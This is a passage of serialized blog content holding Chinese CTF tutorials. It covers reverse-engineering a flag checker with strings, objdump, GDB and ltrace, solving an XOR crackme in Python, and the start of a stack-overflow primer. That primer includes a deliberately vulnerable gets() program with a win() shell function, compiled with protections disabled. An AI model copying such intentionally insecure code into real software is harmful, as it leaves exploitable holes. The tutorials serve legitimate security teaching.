strip。这决定后续用 objdump 还是其他工具，以及能否直接看到函数名。",[355,1288,1290],{"id":1289},"_32-strings提取字符串","3.2 strings：提取字符串",[15,1292,1251],{},[31,1294,1296],{"className":267,"code":1295,"language":269,"meta":36,"style":36},"strings checkflag\n",[26,1297,1298],{"__ignoreMap":36},[40,1299,1300,1302],{"class":42,"line":43},[40,1301,344],{"class":276},[40,1303,1263],{"class":284},[15,1305,423],{},[31,1307,1310],{"className":1308,"code":1309,"language":380,"meta":36},[378],"/lib64/ld-linux-x86-64.so.2\nUsage: ./checkflag \u003Cflag>\nCorrect!\nWrong!\n",[26,1311,1309],{"__ignoreMap":36},[15,1313,1314,1315,1317,1318,1321],{},"三个提示字符串都出来了，但还没有 flag。注意 ",[26,1316,344],{}," 默认只显示长度 ≥ 4 的字符串，短字符串用 ",[26,1319,1320],{},"-n"," 指定：",[31,1323,1325],{"className":267,"code":1324,"language":269,"meta":36,"style":36},"strings -n 3 checkflag\n",[26,1326,1327],{"__ignoreMap":36},[40,1328,1329,1331,1333,1335],{"class":42,"line":43},[40,1330,344],{"class":276},[40,1332,415],{"class":280},[40,1334,418],{"class":280},[40,1336,1263],{"class":284},[15,1338,1339],{},"如果程序用 XOR 加密了 flag，strings 只能看到提示，看不到明文，需要继续分析。",[15,1341,1342,1344],{},[333,1343,335],{},"：把文件里所有可打印字符串列出来，找\"提示/密钥/硬编码密文\"。",[15,1346,1347,1349,1350,1013,1353,1013,1355,1357,1358,1360,1361,1363],{},[333,1348,341],{},"：输出里的 ",[26,1351,1352],{},"Usage: ./checkflag \u003Cflag>",[26,1354,949],{},[26,1356,325],{}," 说明这是个接收参数的校验程序；如果看到可疑短串（如 ",[26,1359,348],{},"），先用 ",[26,1362,352],{}," 确认——可能正是加密密钥。",[355,1365,1367],{"id":1366},"_33-运行程序观察行为","3.3 运行程序观察行为",[31,1369,1371],{"className":267,"code":1370,"language":269,"meta":36,"style":36},"./checkflag test\n",[26,1372,1373],{"__ignoreMap":36},[40,1374,1375,1378],{"class":42,"line":43},[40,1376,1377],{"class":276},"./checkflag",[40,1379,1184],{"class":284},[15,1381,303,1382,307],{},[26,1383,325],{},[31,1385,1387],{"className":267,"code":1386,"language":269,"meta":36,"style":36},"./checkflag AAAAAAAAAAAAAAAAAAAAAAAA\n",[26,1388,1389],{"__ignoreMap":36},[40,1390,1391,1393],{"class":42,"line":43},[40,1392,1377],{"class":276},[40,1394,1395],{"class":284}," AAAAAAAAAAAAAAAAAAAAAAAA\n",[15,1397,303,1398,1400],{},[26,1399,325],{},"。行为确认：带一个参数，对就 Correct，错就 Wrong。",[15,1402,1403,1405],{},[333,1404,335],{},"：确认输入输出格式（参数个数、提示文字），为后续在反汇编里找\"打印 Correct 的分支\"做准备。",[10,1407,1409],{"id":1408},"四核心步骤-2反汇编","四、核心步骤 2：反汇编",[15,1411,1412,1414],{},[333,1413,335],{},"：找到程序\"判断对错\"的那段代码，弄清校验逻辑。",[15,1416,1417,1419,1420,1423,1424,1427,1428,1431],{},[333,1418,341],{},"：程序要么比较字符串（",[26,1421,1422],{},"strcmp","），要么逐字节运算（XOR 等）。反汇编里找 ",[26,1425,1426],{},"call","（函数调用）和 ",[26,1429,1430],{},"je/jne","（条件跳转）就能定位判断点。",[355,1433,468],{"id":467},[15,1435,1251],{},[31,1437,1439],{"className":267,"code":1438,"language":269,"meta":36,"style":36},"objdump -d -M intel checkflag\n",[26,1440,1441],{"__ignoreMap":36},[40,1442,1443,1445,1447,1449,1451],{"class":42,"line":43},[40,1444,478],{"class":276},[40,1446,481],{"class":280},[40,1448,484],{"class":280},[40,1450,487],{"class":284},[40,1452,1263],{"class":284},[15,1454,1455],{},"输出很长，用 grep 只看 main：",[31,1457,1459],{"className":267,"code":1458,"language":269,"meta":36,"style":36},"objdump -d -M intel checkflag | grep -A 40 '\u003Cmain>'\n",[26,1460,1461],{"__ignoreMap":36},[40,1462,1463,1465,1467,1469,1471,1474,1476,1478,1480,1482,1484,1486],{"class":42,"line":43},[40,1464,478],{"class":276},[40,1466,481],{"class":280},[40,1468,484],{"class":280},[40,1470,487],{"class":284},[40,1472,1473],{"class":284}," checkflag",[40,1475,493],{"class":492},[40,1477,496],{"class":276},[40,1479,499],{"class":280},[40,1481,502],{"class":280},[40,1483,506],{"class":505},[40,1485,509],{"class":284},[40,1487,512],{"class":505},[15,1489,515],{},[31,1491,1493],{"className":518,"code":1492,"language":520,"meta":36,"style":36},"0000000000001189 \u003Cmain>:\n    1189:  push   rbp\n    118a:  mov    rbp, rsp\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n    11a7:  lea    rdi, [rip+0x2ea]\n    11ae:  call   puts@plt\n",[26,1494,1495,1499,1504,1509,1513,1517,1521,1525,1529,1534],{"__ignoreMap":36},[40,1496,1497],{"class":42,"line":43},[40,1498,527],{},[40,1500,1501],{"class":42,"line":49},[40,1502,1503],{},"    1189:  push   rbp\n",[40,1505,1506],{"class":42,"line":55},[40,1507,1508],{},"    118a:  mov    rbp, rsp\n",[40,1510,1511],{"class":42,"line":62},[40,1512,532],{},[40,1514,1515],{"class":42,"line":68},[40,1516,537],{},[40,1518,1519],{"class":42,"line":74},[40,1520,542],{},[40,1522,1523],{"class":42,"line":80},[40,1524,547],{},[40,1526,1527],{"class":42,"line":86},[40,1528,552],{},[40,1530,1531],{"class":42,"line":92},[40,1532,1533],{},"    11a7:  lea    rdi, [rip+0x2ea]\n",[40,1535,1536],{"class":42,"line":98},[40,1537,1538],{},"    11ae:  call   puts@plt\n",[15,1540,1541],{},"逐行解释：",[955,1543,1544,1554],{},[958,1545,1546],{},[961,1547,1548,1551],{},[964,1549,1550],{},"指令",[964,1552,1553],{},"含义",[974,1555,1556,1566,1575,1585],{},[961,1557,1558,1563],{},[979,1559,1560],{},[26,1561,1562],{},"cmp edi, 0x2",[979,1564,1565],{},"比较参数个数 argc 是否为 2",[961,1567,1568,1572],{},[979,1569,1570],{},[26,1571,455],{},[979,1573,1574],{},"调用校验函数 check",[961,1576,1577,1582],{},[979,1578,1579],{},[26,1580,1581],{},"test eax, eax",[979,1583,1584],{},"检查返回值是否为 0",[961,1586,1587,1592],{},[979,1588,1589],{},[26,1590,1591],{},"je 0x11b5",[979,1593,1594],{},"为 0 则跳到打印 Wrong 的地方",[15,1596,1597,1598,1600],{},"结论：逻辑在 ",[26,1599,560],{}," 函数里。",[15,1602,1603,29,1606,1608,1609,1611,1612,1615,1616,1618,1619,307],{},[333,1604,1605],{},"怎么想到看 check",[26,1607,455],{}," 之后紧跟 ",[26,1610,1581],{}," 和 ",[26,1613,1614],{},"je","，这是典型的\"函数返回结果决定分支\"结构——",[26,1617,560],{}," 的返回值非 0 才打印 Correct。所以下一步只看 ",[26,1620,560],{},[355,1622,1624],{"id":1623},"_42-看-check","4.2 看 check",[31,1626,1628],{"className":267,"code":1627,"language":269,"meta":36,"style":36},"objdump -d -M intel checkflag | grep -A 50 '\u003Ccheck>'\n",[26,1629,1630],{"__ignoreMap":36},[40,1631,1632,1634,1636,1638,1640,1642,1644,1646,1648,1651,1653,1655],{"class":42,"line":43},[40,1633,478],{"class":276},[40,1635,481],{"class":280},[40,1637,484],{"class":280},[40,1639,487],{"class":284},[40,1641,1473],{"class":284},[40,1643,493],{"class":492},[40,1645,496],{"class":276},[40,1647,499],{"class":280},[40,1649,1650],{"class":280}," 50",[40,1652,506],{"class":505},[40,1654,595],{"class":284},[40,1656,512],{"class":505},[15,1658,1659],{},"如果看到：",[31,1661,1663],{"className":518,"code":1662,"language":520,"meta":36,"style":36},"call   strcmp@plt\ntest   eax, eax\nje     ...\n",[26,1664,1665,1670,1675],{"__ignoreMap":36},[40,1666,1667],{"class":42,"line":43},[40,1668,1669],{},"call   strcmp@plt\n",[40,1671,1672],{"class":42,"line":49},[40,1673,1674],{},"test   eax, eax\n",[40,1676,1677],{"class":42,"line":55},[40,1678,1679],{},"je     ...\n",[15,1681,1682,1683,1686],{},"说明是字符串比较，flag 就藏在 ",[26,1684,1685],{},".rodata"," 里。",[15,1688,1689,29,1692,1695,1696,1699,1700,1702],{},[333,1690,1691],{},"验证方式",[26,1693,1694],{},"call strcmp@plt"," 前面通常有一条 ",[26,1697,1698],{},"lea rsi, [rip+...]"," 把要比较的字符串地址装进 rsi。记下那个地址，去 ",[26,1701,1685],{}," 里找内容即可。",[355,1704,1706],{"id":1705},"_43-看只读数据段","4.3 看只读数据段",[31,1708,1710],{"className":267,"code":1709,"language":269,"meta":36,"style":36},"objdump -s -j .rodata checkflag\n",[26,1711,1712],{"__ignoreMap":36},[40,1713,1714,1716,1719,1722,1725],{"class":42,"line":43},[40,1715,478],{"class":276},[40,1717,1718],{"class":280}," -s",[40,1720,1721],{"class":280}," -j",[40,1723,1724],{"class":284}," .rodata",[40,1726,1263],{"class":284},[15,1728,423],{},[31,1730,1733],{"className":1731,"code":1732,"language":380,"meta":36},[378],"...\n 402000 636f6e67726174756c6174696f6e73 00   \"congratulations\"\n",[26,1734,1732],{"__ignoreMap":36},[15,1736,1737,1738,1741,1742,307],{},"ASCII 十六进制 ",[26,1739,1740],{},"63 6f 6e 67..."," 解出来就是 ",[26,1743,1744],{},"congratulations",[15,1746,1747,1750,1751,1753,1754,1757],{},[333,1748,1749],{},"为什么 flag 会在 .rodata","：字符串常量编译后存放在只读数据段 ",[26,1752,1685],{},"，",[26,1755,1756],{},"objdump -s"," 直接按字节显示，右侧还附了 ASCII 明文。",[355,1759,1761],{"id":1760},"_44-用-ghidra-反编译更省力","4.4 用 Ghidra 反编译（更省力）",[15,1763,1764],{},"Ghidra 是 NSA 开源的免费反编译器。安装：",[31,1766,1768],{"className":267,"code":1767,"language":269,"meta":36,"style":36},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip\ncd ghidra_*_PUBLIC && ./ghidraRun\n",[26,1769,1770,1780,1790,1800],{"__ignoreMap":36},[40,1771,1772,1774,1776,1778],{"class":42,"line":43},[40,1773,642],{"class":276},[40,1775,645],{"class":284},[40,1777,648],{"class":284},[40,1779,651],{"class":284},[40,1781,1782,1784,1786,1788],{"class":42,"line":49},[40,1783,656],{"class":276},[40,1785,659],{"class":284},[40,1787,663],{"class":662},[40,1789,666],{"class":284},[40,1791,1792,1794,1796,1798],{"class":42,"line":55},[40,1793,671],{"class":276},[40,1795,674],{"class":284},[40,1797,663],{"class":662},[40,1799,666],{"class":284},[40,1801,1802,1804,1806,1808,1810,1812],{"class":42,"line":62},[40,1803,687],{"class":686},[40,1805,674],{"class":284},[40,1807,663],{"class":662},[40,1809,694],{"class":284},[40,1811,683],{"class":682},[40,1813,699],{"class":276},[15,1815,1816],{},"操作步骤：",[1054,1818,1819,1822,1828,1831],{},[1057,1820,1821],{},"File → New Project → 命名。",[1057,1823,1824,1825,1827],{},"把 ",[26,1826,1231],{}," 拖进项目，双击导入。",[1057,1829,1830],{},"等待自动分析完成。",[1057,1832,1833,1834,1837],{},"左侧 Symbol Tree 双击 ",[26,1835,1836],{},"main","，右侧 Decompiler 显示伪代码。",[15,1839,707],{},[31,1841,1843],{"className":33,"code":1842,"language":35,"meta":36,"style":36},"if (strcmp(argv[1], \"congratulations\") == 0)\n    puts(\"Correct!\");\nelse\n    puts(\"Wrong!\");\n",[26,1844,1845,1850,1855,1860],{"__ignoreMap":36},[40,1846,1847],{"class":42,"line":43},[40,1848,1849],{},"if (strcmp(argv[1], \"congratulations\") == 0)\n",[40,1851,1852],{"class":42,"line":49},[40,1853,1854],{},"    puts(\"Correct!\");\n",[40,1856,1857],{"class":42,"line":55},[40,1858,1859],{},"else\n",[40,1861,1862],{"class":42,"line":62},[40,1863,1864],{},"    puts(\"Wrong!\");\n",[15,1866,1867],{},"flag 直接可见。",[10,1869,729],{"id":728},[15,1871,1872],{},"静态分析看不懂时，让程序跑起来。",[15,1874,1875,1877],{},[333,1876,335],{},"：在真实执行现场观察\"比较发生时寄存器里到底装了什么\"。",[15,1879,1880,1882,1883,1886],{},[333,1881,341],{},"：下断点停在 check 入口 → 带参数运行 → 单步走到 ",[26,1884,1885],{},"call strcmp"," → 查看 rsi（第二个参数）指向的字符串，那就是程序期望的 flag。",[31,1888,1890],{"className":267,"code":1889,"language":269,"meta":36,"style":36},"gdb ./checkflag\n",[26,1891,1892],{"__ignoreMap":36},[40,1893,1894,1896],{"class":42,"line":43},[40,1895,739],{"class":276},[40,1897,1155],{"class":284},[15,1899,1900],{},"进入 GDB 交互后：",[355,1902,1904],{"id":1903},"_51-下断点","5.1 下断点",[31,1906,1907],{"className":745,"code":753,"language":739,"meta":36,"style":36},[26,1908,1909],{"__ignoreMap":36},[40,1910,1911],{"class":42,"line":43},[40,1912,753],{},[15,1914,423],{},[31,1916,1918],{"className":1917,"code":764,"language":380,"meta":36},[378],[26,1919,764],{"__ignoreMap":36},[355,1921,1923],{"id":1922},"_52-带参数运行","5.2 带参数运行",[31,1925,1927],{"className":745,"code":1926,"language":739,"meta":36,"style":36},"(gdb) run test\n",[26,1928,1929],{"__ignoreMap":36},[40,1930,1931],{"class":42,"line":43},[40,1932,1926],{},[15,1934,423],{},[31,1936,1938],{"className":1937,"code":781,"language":380,"meta":36},[378],[26,1939,781],{"__ignoreMap":36},[15,1941,1942],{},"程序停在 check 入口。",[355,1944,1946],{"id":1945},"_53-查看即将执行的指令","5.3 查看即将执行的指令",[31,1948,1950],{"className":745,"code":1949,"language":739,"meta":36,"style":36},"(gdb) x/20i $rip\n",[26,1951,1952],{"__ignoreMap":36},[40,1953,1954],{"class":42,"line":43},[40,1955,1949],{},[15,1957,1958],{},"输出 check 函数开头的 20 条汇编。",[355,1960,1962],{"id":1961},"_54-单步并观察比较","5.4 单步并观察比较",[31,1964,1966],{"className":745,"code":1965,"language":739,"meta":36,"style":36},"(gdb) stepi\n",[26,1967,1968],{"__ignoreMap":36},[40,1969,1970],{"class":42,"line":43},[40,1971,1965],{},[15,1973,1974,1975,1977],{},"反复执行直到看到 ",[26,1976,1694],{},"。然后：",[31,1979,1981],{"className":745,"code":1980,"language":739,"meta":36,"style":36},"(gdb) x/s $rsi\n",[26,1982,1983],{"__ignoreMap":36},[40,1984,1985],{"class":42,"line":43},[40,1986,1980],{},[15,1988,1989],{},"预期输出：程序正在比较的字符串，即 flag。",[15,1991,1992,29,1995,1998,1999,2002,2003,2006,2007,1998,2010,2013],{},[333,1993,1994],{},"补充说明",[26,1996,1997],{},"x/s"," 的 ",[26,2000,2001],{},"s"," 表示按字符串显示；",[26,2004,2005],{},"$rsi"," 是 x86-64 的第 2 个参数寄存器，",[26,2008,2009],{},"strcmp(a, b)",[26,2011,2012],{},"b"," 就存在这里。",[15,2015,2016,2017,2020],{},"补充：如果嫌 GDB 麻烦，",[26,2018,2019],{},"ltrace"," 直接跟踪库调用：",[31,2022,2024],{"className":267,"code":2023,"language":269,"meta":36,"style":36},"ltrace ./checkflag test\n",[26,2025,2026],{"__ignoreMap":36},[40,2027,2028,2030,2032],{"class":42,"line":43},[40,2029,2019],{"class":276},[40,2031,1163],{"class":284},[40,2033,1184],{"class":284},[15,2035,2036],{},"预期输出中会出现：",[31,2038,2041],{"className":2039,"code":2040,"language":380,"meta":36},[378],"strcmp(\"test\", \"congratulations\") = 1\n",[26,2042,2040],{"__ignoreMap":36},[15,2044,2045],{},"flag 一目了然。",[15,2047,2048,2051],{},[333,2049,2050],{},"ltrace 的原理","：它拦截并打印程序对共享库函数的调用，包括参数值。遇到 strcmp 类题目比 GDB 快得多，但不能用来调试自己写的代码。",[10,2053,2055],{"id":2054},"六必学工具","六、必学工具",[955,2057,2058,2069],{},[958,2059,2060],{},[961,2061,2062,2064,2066],{},[964,2063,966],{},[964,2065,969],{},[964,2067,2068],{},"命令示例",[974,2070,2071,2083,2101,2116],{},[961,2072,2073,2075,2078],{},[979,2074,368],{},[979,2076,2077],{},"看类型、位数、是否 stripped",[979,2079,2080],{},[26,2081,2082],{},"file checkflag",[961,2084,2085,2087,2090],{},[979,2086,344],{},[979,2088,2089],{},"提取字符串、指定最小长度、管道过滤",[979,2091,2092,1013,2095,1013,2098],{},[26,2093,2094],{},"strings checkflag",[26,2096,2097],{},"strings -n 3 a",[26,2099,2100],{},"strings a | grep flag",[961,2102,2103,2105,2108],{},[979,2104,478],{},[979,2106,2107],{},"反汇编、看数据段、Intel 语法",[979,2109,2110,1013,2113],{},[26,2111,2112],{},"objdump -d -M intel a",[26,2114,2115],{},"objdump -s -j .rodata a",[961,2117,2118,2120,2123],{},[979,2119,1021],{},[979,2121,2122],{},"断点、运行、看内存/寄存器",[979,2124,2125,1013,2127,1013,2130],{},[26,2126,1029],{},[26,2128,2129],{},"run",[26,2131,2132],{},"x/20i $rip",[15,2134,2135,2136,2138,2139,2142],{},"另：Ghidra 负责把汇编还原成伪代码；",[26,2137,2019],{},"/",[26,2140,2141],{},"strace"," 负责快速跟踪函数与系统调用。",[10,2144,2146],{"id":2145},"七小-ctf-实战一个-xor-加密的-crackme","七、小 CTF 实战：一个 XOR 加密的 CrackMe",[15,2148,2149,2150,2152],{},"题目：",[26,2151,1121],{},"，校验函数把输入和密钥异或后与密文比较。",[355,2154,2156],{"id":2155},"第一步侦查","第一步：侦查",[15,2158,2159,2161],{},[333,2160,335],{},"：先找密钥与提示。",[15,2163,2164,29,2166,2168,2169,2171,2172,2174],{},[333,2165,341],{},[26,2167,344],{}," 默认漏掉短串，所以用 ",[26,2170,352],{},"；看到 ",[26,2173,348],{}," 猜测是 XOR 密钥，接下来去确认校验函数。",[31,2176,2177],{"className":267,"code":406,"language":269,"meta":36,"style":36},[26,2178,2179],{"__ignoreMap":36},[40,2180,2181,2183,2185,2187],{"class":42,"line":43},[40,2182,344],{"class":276},[40,2184,415],{"class":280},[40,2186,418],{"class":280},[40,2188,371],{"class":284},[15,2190,2191,2192,2194],{},"预期输出中有 ",[26,2193,348],{},"——疑似密钥。",[355,2196,2198],{"id":2197},"第二步反编译-check","第二步：反编译 check",[15,2200,2201,2203],{},[333,2202,335],{},"：确认密钥如何使用、密文数组是什么。",[15,2205,2206,2208,2209,2211],{},[333,2207,1691],{},"：伪代码 ",[26,2210,463],{}," 说明每一位输入与 key 循环异或后要和 enc 相等——逆向就是再异或一次。",[15,2213,2214,2215,2217],{},"用 Ghidra 打开，",[26,2216,560],{}," 伪代码：",[31,2219,2220],{"className":33,"code":710,"language":35,"meta":36,"style":36},[26,2221,2222],{"__ignoreMap":36},[40,2223,2224],{"class":42,"line":43},[40,2225,710],{},[355,2227,2229],{"id":2228},"第三步写脚本逆运算","第三步：写脚本逆运算",[15,2231,2232,2234],{},[333,2233,335],{},"：把\"加密\"反过来算，得到明文。",[15,2236,2237,2239,2240,2243],{},[333,2238,341],{},"：异或的自反性 ",[26,2241,2242],{},"A^B=C => C^B=A","。对密文数组的每一位，用 key 按位置循环异或，即还原明文。",[31,2245,2247],{"className":841,"code":2246,"language":843,"meta":36,"style":36},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"                                        # 从 strings 找到的密钥\nflag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n# 所以 flag[i] = enc[i] ^ key[i%3]。\nprint(flag.decode())\n# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[26,2248,2249,2253,2257,2261,2266,2271,2276,2281,2286,2291,2296,2300],{"__ignoreMap":36},[40,2250,2251],{"class":42,"line":43},[40,2252,850],{},[40,2254,2255],{"class":42,"line":49},[40,2256,855],{},[40,2258,2259],{"class":42,"line":55},[40,2260,860],{},[40,2262,2263],{"class":42,"line":62},[40,2264,2265],{},"key = b\"k3y\"                                        # 从 strings 找到的密钥\n",[40,2267,2268],{"class":42,"line":68},[40,2269,2270],{},"flag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n",[40,2272,2273],{"class":42,"line":74},[40,2274,2275],{},"# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n",[40,2277,2278],{"class":42,"line":80},[40,2279,2280],{},"# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n",[40,2282,2283],{"class":42,"line":86},[40,2284,2285],{},"# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n",[40,2287,2288],{"class":42,"line":92},[40,2289,2290],{},"# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n",[40,2292,2293],{"class":42,"line":98},[40,2294,2295],{},"# 所以 flag[i] = enc[i] ^ key[i%3]。\n",[40,2297,2298],{"class":42,"line":104},[40,2299,899],{},[40,2301,2302],{"class":42,"line":110},[40,2303,2304],{},"# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[15,2306,303],{},[31,2308,2310],{"className":2309,"code":927,"language":380,"meta":36},[378],[26,2311,927],{"__ignoreMap":36},[355,2313,2315],{"id":2314},"第四步验证","第四步：验证",[31,2317,2318],{"className":267,"code":935,"language":269,"meta":36,"style":36},[26,2319,2320],{"__ignoreMap":36},[40,2321,2322,2324],{"class":42,"line":43},[40,2323,317],{"class":276},[40,2325,944],{"class":284},[15,2327,303,2328,307],{},[26,2329,949],{},[10,2331,2333],{"id":2332},"八小结","八、小结",[15,2335,2336,2337,2138,2339,2341,2342,2344],{},"逆向入门三步：",[26,2338,368],{},[26,2340,344],{}," 侦查 → ",[26,2343,478],{},"/Ghidra 定位校验函数 → GDB 验证。大部分入门题要么字符串直接可见，要么只是一个异或，逆运算一行脚本即可解决。",[1098,2346,2347],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":36,"searchDepth":49,"depth":49,"links":2349},[2350,2351,2352,2353,2354,2355,2356,2357],{"id":1135,"depth":55,"text":1136},{"id":1195,"depth":55,"text":1196},{"id":328,"depth":55,"text":329},{"id":1408,"depth":55,"text":1409},{"id":728,"depth":55,"text":729},{"id":2054,"depth":55,"text":2055},{"id":2145,"depth":55,"text":2146},{"id":2332,"depth":55,"text":2333},"完整演示逆向三板斧：file/strings 侦查、objdump 反汇编定位校验函数、GDB 动态调试，并举例一个CrackMe。",{"date":1115,"image":2360,"alt":2361,"tags":2362,"published":58},"/blogs-img/blog1.png","CTF 逆向入门",[1119,1120,1122],"/blogs/ctf-reverse-overview",{"title":1130,"description":2358},"blogs/10. ctf-reverse-overview","-PAtS7ArHlkJGQ0r9XrzjT8-num-kddi5E7M-GpdxHI",{"id":2368,"title":2369,"body":2370,"description":3227,"extension":1113,"meta":3228,"navigation":58,"ogImage":3229,"path":3232,"seo":3233,"stem":3234,"__hash__":3235},"content/blogs/11. ctf-pwn-overview.md","CTF Pwn 入门：栈布局、checksec 与 pwntools",{"type":7,"value":2371,"toc":3215},[2372,2376,2383,2389,2391,2393,2420,2424,2430,2522,2525,2559,2563,2568,2573,2575,2591,2593,2599,2602,2660,2664,2670,2676,2683,2752,2757,2761,2765,2803,2805,2811,2815,2823,2833,2842,2846,2891,2901,2905,2910,2915,2984,2987,2993,3004,3008,3083,3087,3095,3098,3110,3121,3126,3131,3188,3190,3196,3200,3212],[10,2373,2375],{"id":2374},"一现实背景gets-为什么危险","一、现实背景：gets 为什么危险",[15,2377,2378,2379,2382],{},"C 语言函数 ",[26,2380,2381],{},"gets"," 不检查输入长度。缓冲区只有 32 字节，输入 100 字节时，多出的 68 字节会写进相邻内存，覆盖函数调用信息。现代系统为对抗这类问题启用了防护（栈金丝雀、地址随机化等），Pwn 方向就是研究如何在防护下完成利用。",[15,2384,2385,2386,307],{},"本文只讲一条主线：",[333,2387,2388],{},"栈溢出 → 覆盖返回地址 → 跳转执行目标函数",[10,2390,1196],{"id":1195},[15,2392,1199],{},[31,2394,2396],{"className":267,"code":2395,"language":269,"meta":36,"style":36},"apt install gcc gdb\npip3 install pwntools\n",[26,2397,2398,2410],{"__ignoreMap":36},[40,2399,2400,2402,2404,2407],{"class":42,"line":43},[40,2401,642],{"class":276},[40,2403,645],{"class":284},[40,2405,2406],{"class":284}," gcc",[40,2408,2409],{"class":284}," gdb\n",[40,2411,2412,2415,2417],{"class":42,"line":49},[40,2413,2414],{"class":276},"pip3",[40,2416,645],{"class":284},[40,2418,2419],{"class":284}," pwntools\n",[10,2421,2423],{"id":2422},"三漏洞程序与编译","三、漏洞程序与编译",[15,2425,2426,2427,29],{},"保存 ",[26,2428,2429],{},"vuln.c",[31,2431,2433],{"className":33,"code":2432,"language":35,"meta":36,"style":36},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nvoid vuln() {\n    char buf[32];\n    gets(buf);\n}\n\nint main() {\n    setvbuf(stdout, NULL, _IONBF, 0);\n    puts(\"Hello, what's your name?\");\n    vuln();\n    puts(\"Bye!\");\n    return 0;\n}\n",[26,2434,2435,2439,2444,2448,2453,2458,2462,2466,2471,2476,2481,2485,2489,2494,2499,2504,2509,2514,2518],{"__ignoreMap":36},[40,2436,2437],{"class":42,"line":43},[40,2438,46],{},[40,2440,2441],{"class":42,"line":49},[40,2442,2443],{},"#include \u003Cstdlib.h>\n",[40,2445,2446],{"class":42,"line":55},[40,2447,59],{"emptyLinePlaceholder":58},[40,2449,2450],{"class":42,"line":62},[40,2451,2452],{},"void win() {\n",[40,2454,2455],{"class":42,"line":68},[40,2456,2457],{},"    system(\"/bin/sh\");\n",[40,2459,2460],{"class":42,"line":74},[40,2461,179],{},[40,2463,2464],{"class":42,"line":80},[40,2465,59],{"emptyLinePlaceholder":58},[40,2467,2468],{"class":42,"line":86},[40,2469,2470],{},"void vuln() {\n",[40,2472,2473],{"class":42,"line":92},[40,2474,2475],{},"    char buf[32];\n",[40,2477,2478],{"class":42,"line":98},[40,2479,2480],{},"    gets(buf);\n",[40,2482,2483],{"class":42,"line":104},[40,2484,179],{},[40,2486,2487],{"class":42,"line":110},[40,2488,59],{"emptyLinePlaceholder":58},[40,2490,2491],{"class":42,"line":116},[40,2492,2493],{},"int main() {\n",[40,2495,2496],{"class":42,"line":122},[40,2497,2498],{},"    setvbuf(stdout, NULL, _IONBF, 0);\n",[40,2500,2501],{"class":42,"line":128},[40,2502,2503],{},"    puts(\"Hello, what's your name?\");\n",[40,2505,2506],{"class":42,"line":134},[40,2507,2508],{},"    vuln();\n",[40,2510,2511],{"class":42,"line":140},[40,2512,2513],{},"    puts(\"Bye!\");\n",[40,2515,2516],{"class":42,"line":146},[40,2517,256],{},[40,2519,2520],{"class":42,"line":152},[40,2521,179],{},[15,2523,2524],{},"编译（关闭金丝雀和 PIE，方便入门）：",[31,2526,2528],{"className":267,"code":2527,"language":269,"meta":36,"style":36},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[26,2529,2530,2548,2554],{"__ignoreMap":36},[40,2531,2532,2534,2536,2539,2542,2545],{"class":42,"line":43},[40,2533,277],{"class":276},[40,2535,281],{"class":280},[40,2537,2538],{"class":284}," vuln",[40,2540,2541],{"class":284}," vuln.c",[40,2543,2544],{"class":280}," -fno-stack-protector",[40,2546,2547],{"class":280}," -no-pie\n",[40,2549,2550],{"class":42,"line":49},[40,2551,2553],{"class":2552},"shSDL","# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n",[40,2555,2556],{"class":42,"line":55},[40,2557,2558],{"class":2552},"# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[10,2560,2562],{"id":2561},"四核心步骤-1checksec-看防护","四、核心步骤 1：checksec 看防护",[15,2564,2565,2567],{},[333,2566,335],{},"：开打之前先判断\"这条路能不能走\"，避免盲目构造 payload。",[15,2569,2570,2572],{},[333,2571,341],{},"：三个关键行——没有 canary 才能直接覆盖返回地址；NX 开启意味着不能放 shellcode（本阶段跳过）；No PIE 